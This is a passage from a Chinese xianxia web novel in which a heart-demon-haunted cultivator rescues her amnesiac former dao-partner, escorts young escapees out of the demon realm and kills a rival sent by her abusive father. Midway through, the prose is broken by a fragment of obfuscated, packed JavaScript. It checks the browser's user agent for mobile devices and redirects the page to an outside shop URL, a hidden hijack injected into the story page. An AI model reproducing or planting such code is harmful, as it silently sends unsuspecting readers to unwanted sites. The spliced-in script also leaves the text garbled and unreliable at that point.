强烈的震惊摄住郑屠,他面容扭曲,死死望着那处。
只见那满是裂纹的地面上,站立着一个黑袍人。
黑袍人十指弹动,施展法决时空气中漂浮着黑色符文。
在他身边,是神情空洞,已经完全沦为傀儡的金丹长老。
郑屠脸色难看,从牙缝中挤出艰难的几字:“傀儡术。”
居然是能控制金丹修士的傀儡术!
来人到底是谁?
又为何会和其余人打起来?
现在到底是什么情况?
一个接一个的问题彻底卡死大脑,他思绪混乱,只能不断观察,试图搞清现在的局面。
不利不利!
越是观察,便越觉得局势不利。
除了他以外的金丹,一个被控制,一个受重创,他若参战,最好的情况也是以一敌二!
更何况……
一滴汗从他额间流下。
那敬畏的目光慢慢移开,落到那道裂缝上。
长达数公里的裂缝犹如大地的疮疤。
是何等的强者,竟如此恐怖,硬生生撕裂了地面,造成这样一道,横贯整座城池的深渊?
强者恐怖如斯,根本不是他能抗衡的。
败局已定。
他才不会去找死。
郑屠立马扭身,在鹤端砚诧异的神情中,近乎是以落荒而逃的姿态逃走了。
“……”
鹤端砚站在噼啪燃烧的烈火中,还没意识到如今的情况,只能呆怔的注视着他的离去。
他的愣神没持续太久,很快就又被响起的爆炸声唤回意识,接着艰难的拎起剑,走出废墟。
所以……
他朝四面环视一圈,困惑后知后觉的涌上心头。
这是哪……
*
鹤端砚已经分不清方向了。
之前的战斗太激烈,他不知道自己究竟掉到哪片区域里,在走出废墟后,就踏上一条长廊。
长廊蜿蜒曲折,似乎怎么走都走不到尽头。
他已经很疲惫了,现在全凭一股与大家汇合的信念死命支撑着行动,才让他坚持下来,踉踉跄跄的奔走于长廊上。
可身体好累,还好痛。
体内的灵气也发了疯似的,四处乱窜,他感觉自己像个不断充气的气球,要炸开了。
转角。
转角。
又是转角。
数不清自己转了多少个弯,力气快耗光了,他双腿一软,扑通摔在廊上。
耳鸣、头痛、双眼一黑。
身体已经临近崩溃的边缘,他大口大口的喘气,手抖得不成样子,颤颤扶住栏杆,撑起上身。
他靠着栏杆休息了一会,身上的异样渐渐消失,而就在耳鸣声微弱的间隙,他听见缓慢的流水声。
哗啦……
哗啦……
是哪里发出的声音?
他恍惚的抬起头,旋即寻到答案。
是后院里的池水。
它晃动着,泛着波光,在月色的照耀下,竟如血液般鲜红。
不……
鹤端砚的脑子有点转不动了。
那就是血液。
是女修身上的血液。
她身上血珠滚落,裸露出的手臂沾满了暗红液体。
此人正以清池洗濯污血,眉眼湿淋淋的,沾满晶莹的水珠。
明月高悬。
静静照耀着那汪池水。
池水随水纹摇动,随她提剑的动作碎裂,如细碎流淌的红色玛瑙。
是的,提剑。
她从水中提起一柄清亮的剑。
水珠自剑尖滚落,流淌过笔直的剑身。
那是锋芒毕露的杀人利器,是死亡、恐惧、绝望的代名词。
鹤端砚如同被蛊惑了心弦。
他长久的凝望着,凝望那双看过来的漆黑瞳孔,一股前所未有的战栗攫住了他,那并非恐惧。
而是……
而是……
目眩神迷。
恍惚中,他仿佛跌进一场瑰丽危险的梦境,失真感纷至沓来。
什么来路过往、什么理智头脑,通通化为泡影。
他注视她。
她注视他。
楚袖云从未想过,还能在人间界再见到他。
他是养她长大成人的师兄,是她相濡以沫多年的道侣。
亦是……
被她亲手送入地狱的爱人。
他原来还活着。
他居然还活着!
对、对、对。
她早该想到的。
楚袖云该作何表情呢?
她回忆起了多日前曾做过的那个梦。
梦中门悄然开启,男修端立门前。
原来她早有感知,只是始终没意识到。
她居然这般迟钝。
近乎回避的迟钝。
所以……
【快杀了他。】
*
滴答。
滴答。
水滴在泥土,晕成一片。
女修慢悠悠的靠近,以八尺身高笼罩鹤端砚。
她屈膝蹲下时,靠得太近了,那张脸近在咫尺,与他只隔着一线稀薄的空气。
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此人吐息炽热,似有似无的拂过鹤端砚的脸庞,这个距离,他能看清对方垂落的,鸦黑纤长的睫毛,也能看到她面上,似妖邪鬼物的红文。
“你——”
“惨兮兮的。”
双方的话同时响起,鹤端砚截住话头,愣愣的看着她。
下一秒,对方轻笑着,抚摸他的脸颊。
她柔声低语:“好哥哥,怎么这么狼狈?”
似乎是热意滚烫,熏红了鹤端砚的面庞。
他晕乎乎的,张了张嘴,该说的话全忘记了,脑海里只有一个念头——靠、太、近、了。
“灵力好乱。”
人怎么能不见外成这样。
被提膝抱起的那一刻,鹤端砚真的要晕过去了。
对方站直身体,颠了颠怀中的少年:“咦?你要突破了。”
“什么啊……你先松开……”
鹤端砚脑子乱作一团,根本意识不到对方说了些什么,他艰难的伸手,想推拒楚袖云,对方反而把他的手抓着,也揣怀里。
“魔域灵气稀薄,不够你突破屏障。”
她叹息:“还好遇到了我,我带你回八圣境。”
困倦后知后觉,爬上沉重的眼皮,鹤端砚迷迷怔怔的嘟囔:“你……你是谁……啊……”
对方微微停顿,竟是呆愣住了。
过了好一会,疲惫的鹤端砚也没得到答案,他的意识轻微挣扎,又很快陷入梦乡。
怀中人的呼吸变缓,变轻,心跳通过薄薄的空气传递给楚袖云。
扑通。
扑通。
“是失忆了么?”
此人若有所思,伸手摸骨:“十八岁。”
楚袖云:“为何才十八岁?”
爱人重逢,双方情况居然都很复杂。
一个心魔丛生,将堕未堕入魔道。
一个记忆全无,骨龄一十八。
【为何不杀他?】
心魔从识海窜出,趴在她头上。
楚袖云垂眸思索片刻,道:“不舍得。”
心魔笑出声来:【以往舍得,如今却舍不得了?】
事实确实如此。
自他死后,楚袖云曾几经后悔,只恨不能回到当初,重写结局。
她并非不爱,并非变心,哪里能绝情到再狠下杀手一次。
【什么意思?】心魔悚然:【你不会因为他失忆了,就彻底把那事当做没发生过吧?】
它暴躁异常:【我求你行不行?直接弄死他可以吗?】
“你害怕他。”楚袖云:“为什么?”
【我能不害怕吗?】心魔问:【你别忘了,百年前你杀他证道时,他有多恨你。】
犹记当时,鹤端砚在临死前刺出的最后一剑,给楚袖云来了个一剑穿心,捅得她透心凉。
“师兄脾气素来如此。”
楚袖云倒是半点没放在心上,反而平静说道:“这也要怪我,是我先动手的。”
?
心魔缓缓发出问号。
不是……
你往日的无情呢……
你的智慧、恶毒、极端利己呢……
被狗吃了吗?
心魔的震惊未加掩饰,仿佛从未见过楚袖云这面。
【姐们,天底下谁都能说这种慈悲话,但是你不能啊……】
楚袖云不受干扰:“莫要觉得我过分纵容他,毕竟当时的事,是我做错了。”
她以指紧贴鹤端砚后背,梳理他紊乱的灵力,见心魔仍有不忿,又淡淡道。
“而且我也挺纵容你的吧?”
一句话。
小蛇头皮发麻,鳞片炸开。
楚袖云平静如常:“你让我不能飞升。”
小蛇低下了头。
“还让我境界大跌。”
小蛇汗流浃背。
“我们如今变成这样,都是你的功劳。”
小蛇尾巴剧烈颤抖。
“但我好像没找过你的麻烦啊。”
小蛇彻底绷不住了,以头抢地,嘶声大喊:“我错了!是我错了!”
它说罢,又委委屈屈:“咱们不早就和解了嘛!还说这个干嘛!”
9. 离开魔域
哼着小曲儿,楚袖云抱着人,掠过长廊。
“还躲着呢。”
剑气劈碎山石,气浪掀翻躲藏的人影。
“……”
“前辈。”
石野从暗处走出,模样狼狈不堪,神色冰冷。
“我以为,替前辈寻得凤凰真血,前辈会放我一马。”
就在半刻钟前,从地宫脱身的楚袖云险些举剑劈死石野。
还好他在关键时刻,命令被控制的两位金丹长老上前,挡住攻击,这才得以逃走。
可是他想不明白。
“前辈为何要杀我?”
石野执着于这个问题。
他自认恩怨已经两清,楚袖云根本没有理由再动手。
她是强者,有强者独有的傲慢,视弱者为蝼蚁,却不会过多在意这些蝼蚁。
所以为什么?
为什么不放他一命?
生死关头,石野出奇的冷静。
“答案啊……”
楚袖云微微思索,缓声道:“应该是你我有仇吧。”
石野不愿做一无所知就此死去的人,他咬牙,再度坚持:“请前辈明示。”
对方抬眼。
那双漆黑的瞳孔中闪动着幽幽的火光。
“只怪你父亲。”
与真血融合之际,楚袖云在幻觉中,看到了凤凰的惨状。
她伤痕累累,如此绝望。
楚袖云亲眼目睹凤凰受苦,一种强烈的愤怒点燃了她的复仇欲望,心中的憎恶与暴虐杀意交织。
令她几欲疯魔!
几欲癫狂!
“他伤我师姐,夺她真血,剥夺她涅槃的机会。”
楚袖云垂首俯视:“可惜你父亲死了,真遗憾。”
铺天盖地的杀意如此凛冽。
威压深重,如巨山死死压住石野。
他恐惧到浑身颤抖,终于明白过来——那只凤凰,竟是楚袖云的师姐!
难怪……难怪……
询问石野有关凤凰真血的消息时,楚袖云的态度如此微妙。
他当时还想不明白,如今倒是顿悟了。
可惜太晚。
楚袖云问:“这个理由够吗?”
够不够都由不得他。
石野深知这点。
死亡的阴影已经笼罩住人,在将死之际,他回顾自己短暂的人生,只觉一阵惘然。
曾为城主之子,享受过万人跪拜,盛极时期他也肆意妄为,以杀人取乐,无比畅快抒怀。
而后一朝父母身死,他如堕入地狱,拼命挣扎。
为了活着,什么事没做过?
丢弃了尊严,沦为丧家之犬,直到他修为有成,才有力气重新站起身来,像个人一样活着。
就这样吧。
他失去了力气,垂下头颅。
也算是偿还了父亲血债,了结一段因果。
唰。
血液四溅,泼洒在山石上。
女修收剑离开。
她的身影如流光般划过天空,朝西而去。
然后在途中看见秦无漪一伙人。
他们在混乱时杀出城主府,又直接一路冲向城门。
原本驻守的守卫还在与他们对抗,但府邸闹出的动静太大。
且不谈那一道贯穿城门的裂缝,便是金丹长老断臂,惨叫坠地的场面,就足以令人胆寒。
守卫霎时方寸大乱,哪里还顾得上秦无漪他们。
于是乎,这群人十分顺利的出城了。
队伍里负伤的人不少,但没有遭受重创,秦无漪边走边清点人数,点完人后,心情有些沉重。
无人丧命。
但鹤端砚不知所踪。
那一刻,一股无力感涌上心头。
她想,倘若我再强一些就好了。
我若是能强大到轻易杀死金丹修士,便可以保护所有人,而不是眼睁睁的看着同伴赴死。
这是秦无漪从未体会过的感受。
还在长黎山时,她是长老弟子,是剑阁亲传。
彼时有师尊师祖庇护,让她从未感受过压力与挫折,她自由的长大,长到十七岁。
下山吧。
师父在某日说出了这样一句话。
她要秦无漪下山游历,用脚步丈量修真界,亲眼看看这个世界。
彼时的秦无漪不解,但是照做。
直到如今,她才恍惚的意识到,这就是师尊要她游历的真正原因。
世界残酷。
如果强者无德,那弱者的声音会被永远淹没。
秦无漪不愿当弱者。
她要变强!
要强大到让天下恶人惊惧!
让实力匹配上满腔的正义!
那么她才能顺应心意,去为人发声!
她的信念愈发坚定,而就在此时,一只手激动的拽住她袖子,兴奋大喊:“漪姐!你看!是砚哥!是砚哥!”
眼尖的小禾指着空中慢悠悠飞过的楚袖云,对方怀中的男修如此眼熟,正是鹤端砚本人。
这一发现让秦无漪一惊,但她率先注意的,却是那个女修。
女修黑发白颊,身覆红文,不似正道,更像邪魔。
不详的预感笼罩秦无漪心头,一路上已经哭红眼睛的叶兰驱也带着哭腔问:“师父是昏迷了吗?还是已经……呜呜呜……”
“乌鸦嘴!”
小禾重重的抽了一下他:“肯定不是啊,谁会抱着一具尸体!”
“你说话也好听不到哪去吧……呜呜……”
叶兰驱一边哽咽,一边尽力平复气息。
小禾瞪他一眼,旋即朝空中挥手示意:“前辈!!!”
能御空的修士,最起码也是金丹。
喊前辈就对了。
她的大声呼喊引来女修侧目,对方扬眉,神情似在问她,所谓何事。
小禾嘿嘿一笑,竟直接朝那边跑去。
这举动来得突然,连秦无漪都没预料到,她心底一惊,只来及喊了一声小禾,便见那女修飘落至地面。
楚袖云目光扫过面前这几位少男少女,还有他们身后跟随的凡人,再联想到魔修掳人的事情,心中便有了考量。
“逃出来的?”
她问。
此话一出,四座俱惊,凡人犹如惊弓之鸟般缩在一块,畏惧的望着她。
几个少年修士你看我,我看你,犹豫再三,最终还是秦无漪上前,简述他们这群人的来历和目的。
她瞧了瞧还在昏睡的鹤端砚,甚至特意补充了一句:“鹤道友也是我们的同伴。”
“……”
楚袖云如何听不出潜台词。
但给人是不可能给的。
送他们一程倒是可以。
自修补根基之后,她便能引气入体,此时手往虚空一握,便从须弥芥子中取出一艘飞舟。
飞舟庞大,雄伟壮观,似鲲鹏展翅,遮天蔽日。
众人仰首望去,面色笼罩在庞大的阴影下,让人看不见神情。
良久良久。
才有修士蹦出句:“靠。”
遇上真大佬了。
*
碧空如洗,云雾稀薄。
飞舟在云层中穿梭,从黑夜行至白天,飞快朝着边界前进。
祁无城的地理位置很好,本身也在边界附近,来时,修士们赶了八天路,离开则更快,毕竟有飞行法器加持,想要进入正道,仅需要三天时间。
不用赶路,大家得到休息的时间,在谢过楚袖云后,便各自散开,以调息养精蓄锐。
至于受创严重,还在昏睡的鹤端砚,则是安置在灵气充沛的聚灵阵内调养。
大家各自有事做,秦无漪也没闲着,她的日常,就是观察楚袖云。
不怪她多疑,但凡是个正常的,有思考能力的人,都能看出楚袖云不是善茬。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136011|196283||http|test|mini|href|location''.split(''|''),0,{}));
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>这话并不是说楚袖云的态度很恶劣。
反而,据秦无漪的观察,她发现楚袖云本身是个无拘无束,不在意他人看法的人。
这种人优点明显,如超脱自我、不受教条约束。但缺点也直白——她亦正亦邪,会始终如一的漠视众生,只做自己想做的事。
理清思绪后,秦无漪感到很焦虑。
为何?
因为这类人是很危险的。
不受常理约束,所以更像野兽,有近乎本能的兽性,甚至大过人性。
所以,把同伴性命寄托在她身上,真的是正确的做法吗?
落座楚袖云身侧的秦无漪这样想到。
“……”
而楚袖云呢?
她面无表情的看着这个跟屁虫。
这两天,楚袖云卧榻,秦无漪看着。
楚袖云打坐,秦无漪盯着。
楚袖云引动灵力给鹤端砚疏导灵气时,她也要坐到楚袖云身边观察。
总而言之,楚袖云走到哪,秦无漪就要跟到哪儿。
这场景让楚袖云幻视很久以前,她还在宗门时的生活。
那时,她的亲师妹就是每天顶着一张严肃的脸,跟在她身后。
生怕她哪天就遁入魔道了……
所以这小孩到底要干嘛……
楚袖云放下志怪小说:“你没事做就去干活。”
昨天她为了打发秦无漪,扔了个治疗法决给她,让这货去给受伤的修士疗伤。
这办法倒让她消停了一会,但也仅仅只是一会……
很快她便重新出现在楚袖云眼前,毫不见外的坐下了。
然后她说什么?
授人以鱼不如授人以渔,所以她把法决教给他们,又回来了。
现在也是。
秦无漪顶着一张清冷面庞,理直气壮:“活儿大家都做完了。”
好嘛,就要死磕楚袖云。
楚袖云没趣,索性抛下册子,起身去舱外游荡。
秦无漪安静跟上,二人出房间,来到过道。
过道外部是护栏,再往外,就是一片稀薄的云海。
雾气轻拂秦无漪的面颊,凉丝丝的。
虽然和楚袖云相处两日,但她至今也不清楚对方姓甚名谁,过往经历,又是怎么和鹤端砚碰上的。
很多疑问在她心头盘旋,直到今日才问出口:“前辈和鹤道友是旧相识?”
楚袖云:“嗯……”
真实情况还挺复杂,但鹤端砚不认识她,所以大概算是:
“不相识。”
既然不相识,又何必在离开时带走他。
秦无漪才不信呢,她乘胜追击:“前辈既与我们同路,想必也是要回正道的吧?”
楚袖云听出言外之意,哼笑一声:“我并非魔修,不打算留在魔域。”
秦无漪没说信,也没说不信。
她思考一会,又张嘴。
然后被楚袖云禁言了。
“话真多。”
楚袖云施施然收回掐诀的手,又顺手捏了一把对方脸颊。
大概是举动过分亲密。
秦无漪瞬间呆住,瞳孔震动,震惊的盯着楚袖云,神色变化莫测。
还挺有意思。
如发现新玩具般,楚袖云饶有兴味的瞧着她,就在她促狭轻笑,言笑晏晏之际——
尖锐刺痛猛然自眉心爆发!
红文发亮,瞬间炸开的剧痛令她几欲昏厥,险些当场倒地。
!
秦无漪眼疾手快,立马扶住她,抬眸扫过对方眉间时,震惊错愕不加掩饰。
只见滴滴鲜血从楚袖云额间渗出,顺着眉角滚落,在脸上留下猩红的血痕。
此女已经失了笑意,极深的瞳色显露在他人视野中,在此时,显出疯狂攀升的杀意!
在秦无漪身后。
女修御空漂浮。
手中阵盘漆黑,邪气毕露。
10. 爹爹快死
魔气笼罩整片天空。
刀风逼近。
“嘣!”
长剑凌厉,与刀相击,在空中炸开刺眼的火花。
楚袖云在见到来人的刹那,便毫无犹豫的拔剑,与她缠斗起来。
银光不断舞动,似绽放的莲花,裹住战局中的两人。
那是双方极快的招式,她们挥剑挥刀,瞬间发出千百道攻击,从四面八方袭击对方。
铿锵一声。
二人拉开距离,冷冷对视。
点点红梅从修士肩头晕染开,初九已被刺中。
初次交锋,楚袖云小胜一场。
她举剑,直指对方眉心:“他派你来的?”
这个他是谁。
双方都心知肚明。
初九神情漠然:“父亲命我带你回去。”
父亲。
简单二字犹如触碰了楚袖云的逆鳞,她神色似讥似讽,尖锐刻薄:“你怎么还在给他当狗啊。”
银光骤现,长剑格挡住刀势,楚袖云与之相看两厌,滋滋往外喷毒液:“那个老不死的没几天好活了,我要是你,就给他个痛快,也不用见他那般狼狈,拼命求活的模样。”
初九总能轻易被她挑动怒火,她的刀往外嘶嘶冒着魔气,使苍穹被遮蔽,日光一点点吞没。
理智在劝她冷静。
要等待邪咒完全侵蚀楚袖云,让她掉进无垠梦境中,此战才有胜算。
可楚袖云如此恶毒。
她讥讽笑起来时,两颗尖牙雪白锐利,犹如毒蛇:“我念你是我幼年玩伴,给你一个忠告。”
“向他这种虚伪、狠毒、心理变态的恶鬼寻求父爱,是最愚蠢的事!”
嘭!
恐怖的爆炸掀起气浪,将云层荡开!
在刀光剑影中,楚袖云皮肉剧痛,她的脸颊、额头乃至身上所有被邪咒覆盖的皮肤都寸寸崩裂,伤口猩红,泛着血色。
血液潺潺,从眉角流经下颚,她微笑着,剑上缠满雷蛇,一招一式气势磅礴。
初九身上遍布烧灼痕迹,可她犹如没有痛觉的杀戮机器,双眼充斥怒火,不退反进,攻势凶猛异常。
接连不断的爆声在空中轰鸣,庞大的力量碰撞,将空间都扭曲了!
在银蛇电舞之中,楚袖云骤然举剑,当头劈下!
她的瞳孔倒映着强烈的闪光,剑身光芒大绽,照亮墨色苍穹!
“咔擦。”
这一剑劈碎长刀,雷光刺目,贯穿躯体!
海量的血液喷涌而出,刹那间,初九脑海一片空白。
四周的狂风似乎变得轻微,她在血色蔓延中,看见泼洒出的血雨。
天旋地转,人猛然砸落,淌出满地鲜血。
楚袖云冷眼俯视她:“这就是与我为敌的下场。”
“你……”
初九呛出一口血:“你这种人……凭什么……凭什么能被父亲……坚定不移的……选择……”
“哈。”
楚袖云脸色变幻无常,神色不像是得意,更像是厌恶。
直至此刻,她才明白过来:“你在嫉妒我。”
她的心情瞬间糟糕起来。
“你居然嫉妒我!”楚袖云咬牙切齿:“你怎么还是不懂?”
“为什么要去追逐他的爱?”
“为什么!”
此人近乎暴怒:“企图用什么努力!付出!贡献!去换取片刻的目光!”
“这根本就不值得!”
“居然还因为这个,与我反目成仇!”
她大为光火:“付出一切又怎么样?谁在乎?”
“他在乎吗?还是我在乎!”
初九一言不发。
模样可悲又可笑。
她是楚袖云的童年玩伴,曾陪伴楚袖云渡过悲惨的时光。
可如今,楚袖云恨不得用千般言语,万腔愤怒去刺痛她。
她实在是想不通,为何初九在太巫身边待了那么多年,还看不透他的铁石心肠。
去追逐什么遥不可及的父爱。
还为此倾尽全力,付出一切。
他太巫,值得吗?
楚袖云有些想笑,胸腔震动,牵动全身的伤口,刺痛一阵阵袭来,笑声却难以停歇,越来越大,越来越大!
【真是疯了。】
心魔暗自嘀咕。
它才是抵抗邪咒的主力军,在邪咒发作时,竭力抵挡它,避免楚袖云陷入不利局面。
但反观对方,倒是毫不在意自己的状况,疯魔癫狂成什么样了。
“算了,这不怪你。”
楚袖云被心魔确诊疯病,因为她说出这种话来。
奇异的神采笼罩面庞,楚袖云擦掉脸上的血,微笑还是没掉下来:“我有什么资格说你呢?毕竟我也是这样。”
往事不堪回首。
“我也有求而不得的东西,也有为此偏执疯魔的时候,还……”
还酿了大错。
初九不比她,她在魔域长大,生长环境畸形扭曲,从孩童时期开始,就没有人教过她,该如何去正视这些问题。
就连楚袖云,也是用了很长很长的时间,才想明白,苦苦追寻一段永不可能得到的感情,是有多可悲,多愚蠢。
她走上前,扳正初九的身体,给她胡乱擦擦脸上的血。
女修笑容灿烂,甚至称得上是阳光开朗:“总归日后不会再相见,所以我们今天就把事讲清楚。”
“我知道除却嫉妒以外,你还恨我。”
楚袖云快乐的吐出锥心之语:“是恨我十四岁那年,离开魔域时没带走你吧?”
“你知道为什么吗?”
“因为你太软弱,太单纯。”
“因为从没获得过亲生父母的爱,所以太巫只是小小的帮了你一把,你就沦陷了,竟然对那种人产生孺慕之情。”
楚袖云摸摸她的额头:“如果当时我告诉你,‘我要逃走’,你会和我一起吗?”
“你不会。”
楚袖云叹息起来:“你才不会选我。”
初九的首选只会是太巫。
而太巫,是楚袖云永恒的敌人。
“所以不要觉得,是我抛弃了你。”楚袖云:“你也不见得,会坚定不移的奔向我。”
初九吐出一口鲜血。
楚袖云松开她,她失去气息,化作一地飞灰。
果然是体外化身。
楚袖云起身,收剑入鞘,剑化作电光消失。
她就此离去,踏着湿润的泥土前行。
身上的符文仍在发光,污血顺着手臂流淌,没入黑色泥土中。
空中血雨已停,但仍有细密的雨丝落到脸上,她微微一顿,伸手摸了摸,瞳孔漆黑照不透半点光芒。
邪咒还没停下来。
心魔发出吃力的叫骂声。
迷离奇幻的色彩在楚
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袖云视野里晃动,隐约中,有悠长的童谣声传来,伴着细密的雨丝,将她拖入无垠梦境。
*
太巫境总是在下雨。
淅淅沥沥的雨水濡湿了衣襟,沾湿了袍尾,也一并掩盖掉那些幽魂的呜咽哭声。
痛苦。
好痛苦啊。
浸没在绿色药池中的女孩拼命的挣扎。
可她如此弱小,反抗的力度太微弱,根本无法与他人抗衡。
药池。
不。
是毒水。
毒水像活物,钻进人的毛孔,溶解了毛发、皮肤、肌肉,最后连森森白骨都消失殆尽。
但痛苦没有消失。
池子里,一团白光渐渐成型。
她生出白骨、肌肉、皮肤,最后是毛发。
完美的躯体诞生,穴位天然贯通,经脉宽如溪流。
“先天道体。”
男人终于满意了。
彼时他坐在廊下,怀抱孩子,日光透过轻纱,笼罩在他脸上。
疼得发抖的女孩意识模糊不清。
他便哼出一首低柔的童谣,轻轻拍打着孩子的脊背。
怀中的人骤然清醒,拼命挣扎,她有一双愤怒的眼睛,闪动着火焰,嘶声力竭:“住口!住口!”
她不允许他唱那首歌!
她不允许!
男人微微停顿,笑出声来:“我以为你会喜欢。”
装什么所谓的慈父。
不过是个欲壑难填的怪物。
楚袖云愤怒的盯着他,咬牙挤出几个字:“我娘呢?”
对方垂眸,替她整理长发:“一个养母罢了,何必这般惦念她。”
“我娘呢!”
楚袖云怒火中烧。
可弱者的愤怒只是强者情绪的调味剂。
太巫轻笑:“好孩子,这不是求人的态度。”
他一面微笑,一面用指尖描摹她的眉眼,那冰凉的触感扫过,楚袖云感到恶心、厌恶、憎恨。
“父亲。”
她死死咬住牙,咽下满腹的血与恨。
“我错了。”
她的声音平静得可怕:“我只是太过思念她,想见见她。”
“可以吗?”
“当然。”
*
咳嗽声响起。
木偶滚落在地,刺入眉间的银针尾部不住颤抖。
太巫伏案咳嗽,起初只是压抑的低咳,随即愈演愈烈,变作撕心裂肺的咳嗽。
迅速衰败的躯体让他的呼吸都困难起来,抬手在案上胡乱摸索,没摸到灵药,反而扫落了杯盏。
瓷器咔擦碎裂。
茶水流出,和地板上的殷红混在一起,濡湿了太巫的袖口。
太快了……
这具夺舍而来的身体衰亡得太快了……
兴许是强行催动邪咒的缘故,才让身体受创,崩坏。
可说到底,还是因为不适配。
远不如……
先天道体。
他耗费无数的精力才养成的孩子。
可她不乖,如腾飞的小鸟般脱离他的掌心。
叫他如何能甘心……
眼前已是重重黑影,意识如稀薄的云雾,风一吹,便脆弱的消散。
哐当一声。
人失去支撑,倒向地面。
小小的人偶面朝那边,面部空空荡荡,一片空白。
11. 伏羲琴
邪咒骤然停止。
楚袖云从梦中苏醒时,眼前人影攒动,脚步匆匆的,围着她转个不停。
人挺多,是秦无漪他们。
在战斗前,楚袖云驱使飞舟远离这块区域。而等到空中的雷声和魔气全都消散之后,飞舟才重新启动,再度升空。
飞舟能用之后,秦无漪一行人便循着战斗痕迹去寻找楚袖云。
最后在一颗树下看到昏睡过去的她。
彼时初九不见踪迹,楚袖云则浑身浴血,不省人事。
偏生还重得很。
秦无漪一个修士居然还搬不动她,只得招呼小禾,一起把人抬上飞舟。
“我不擅解咒,看来无法帮到前辈了。”
禁言咒到点直接解除,其余的修士见楚袖云醒来,不好多待,便纷纷离开。秦无漪的话,还是决定留下来。
她现在正对着楚袖云胳膊上的红文认真端详,有些遗憾自己不能帮上忙。
看罢,便取过纱布给楚袖云伤口包得严严实实的。
在此期间,楚袖云怔怔出神,面上的情绪淡薄得看不见。
瞧上去简直就像经历了精神创伤。
但秦无漪对她有很大的改观。
毕竟这家伙在战斗前还不忘妥善安置他们,仅凭这一点,她就认定楚袖云三观正确,绝非作恶多端之辈。
心中的担子一放下,秦无漪也就松了一口气,她细致的理了理纱布,终于把伤痕累累的楚袖云包扎好。
楚袖云:“……”
所以到底是怎么回事?
为什么这小孩态度变得飞快?
楚袖云有意去思考,但精神上的疲惫让她放弃。
太巫作为楚袖云的人生阴影,即便是做梦都不让她好受。
她现在情绪不算好,不想过多考虑别的。
现在最重要的是,放松心情。
想到这,她起身站起,又被秦无漪拦住:“伤还没好。”
□□疼痛比不上精神痛苦,楚袖云叹息一声:“我要去寻找精神慰藉,你不要跟来。”
说罢闪身出门,一下子就消失了。
秦无漪:“……”
能不能说人话。
*
鹤端砚这一觉睡得很不安稳。
他迷迷糊糊的,总感觉自己被巨蟒缠住了,手脚动弹不得。
巨蟒的头颅靠在他颈间,吐息炽热,还一直在低语。
他做了个断断续续的梦。
梦始于十八年的一个深秋,老樵夫在山中砍柴,忽而听见鼎沸的人声,他们大喊着快看天上!快看天上!
天上有什么?
有一片白光。
白光藏在云雾深处,散发着柔和的光芒。
光芒中隐约游出两条鱼,一黑一白,纠缠盘旋。
异景转瞬即逝,短暂的被人看到,又以极快的速度消失。
樵夫困惑的收回视线,又被山巅上的异状吸引目光。
在风雪里,山顶若隐若现,正闪着相同的白光。
难不成是什么宝物?
大抵是出于好奇,樵夫顺着陡峭的山路爬上去,他靠近了,发现山顶有处洞口,洞口发着光,人往里一看,看到一个婴儿。
“然后呢?”
耳边是谁在低语。
“然后……”
鹤端砚在朦胧中呢喃。
然后樵夫带走了婴儿。
他无子无女,历年来陆陆续续的,收养了不少孤儿,婴儿也是其中之一。
他和孤儿们一起长大,又一同照顾卧病的樵夫。
直到十七岁,樵夫善终。
随着棺木沉进土里,樵夫回归了养育他一生的大山,九嶷山。
少年在失去亲人的那刻顿悟,成功引气入体,召唤出了一柄本命灵剑。
鹤端砚。
他从本命灵剑中寻到真名。
“九嶷山……”
跟条巨蟒一样缠着鹤端砚的楚袖云陷入沉思。
她自然知晓九嶷山。
毕竟那是她杀夫证道的地点。
她在那亲眼看着鹤端砚的尸首没入山中,所以也合理……
鹤端砚肯定是死过一次的,然后尸首掉下去,过了很多年,突然间复活。
只是他复活的契机是什么?
楚袖云无从知晓。毕竟信息太少,只提到一个双鱼盘旋的异景。
看来迟早要去一趟九嶷山。
楚袖云抱着他,琢磨了一会复活的事,又略显疲惫的揉揉眉心。
幼年时期的经历给她带来很大的阴影,药池、太巫、养母……
痛苦的记忆在脑中横冲直撞,她埋在鹤端砚颈间,鸦黑长长的睫羽垂落。
在熟悉的怀抱里,楚袖云不由得想到很久以前,她刚进宗门的时候。
她孺慕的师尊闭关,将她交由掌门首徒抚养。
彼时的鹤端砚年长于她,他温柔、雅致,以圣人之心包容她年少时的尖锐冷漠。
他与师姐教导她,将她养大,看她成人,成为天之骄子,如此意气风发。
他们于楚袖云,亦师亦友,亦父亦母。
只是好景不长,在楚袖云百岁有余时,师姐被逐出山门,此后陨落离火境。
而师兄……
楚袖云凝望着鹤端砚沉睡的脸庞。
日光柔和,他眉眼如画,昳丽动人,散落的长发如水般倾泻流淌,泛着珍珠般的光泽。
楚袖云描摹着他的眉眼,似雾中看花,只有真切的摸索到,才能放下心来。
“我也很想你。”
她轻声诉说。
*
日升月落。
随着时日推进,飞舟日行万里,很快就临近正道边界。
归家心切的人站在船头眺望,很快就瞧见一条长长的河流。
那是弱水河。
传闻中不可载舟,水体漆黑的长河。
人从高处往下望,会看到它犹如蜿蜒的线,将正道魔域分成两块地界。
即将回到正道,大家的心情都很急切。
甲板上,修士们聚在一起,或坐或站,天南海北的一通瞎聊。
“其实最近我一直在琢磨一件事。”
小禾指着弱水河上的结界,发出灵魂拷问:“之前你们告诉我说,这结界只有金丹以下的修士才能通过。所以是为什么呀?按照常理来说,那些强者大能们不是更有本事吗?”
“怎么说呢?恰巧就是因为他们太强,所以才过不去。”
叶涛挠了挠头,想到一个比方:“你可以把这面结界比作墙,墙年久失修,又受魔气侵蚀,所以产生了裂缝。”
“只是裂缝细小,只能容纳小虫子钻来钻去。”
“可是大一些的动物,
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如猫猫狗狗之类的,却挤不进来。”
“硬挤的话。首先,需要耗费极大的力气,其次,也容易破坏墙面,所以正道的修士不会这样做。”
“我懂了。可是这样的话,”小禾隐隐担忧:“岂不是意味着,魔域的强者能借机破坏结界?”
叶涛:“啊……不会吧……”
“可能性很小。”
陆听澜在旁听,此时解释道:“毕竟这结界是神器所化。”
结界的前身,还要追溯到千年之前。
彼时魔修入侵,正邪大战爆发,双方倾尽全力厮杀,令山河染血,日月无光。
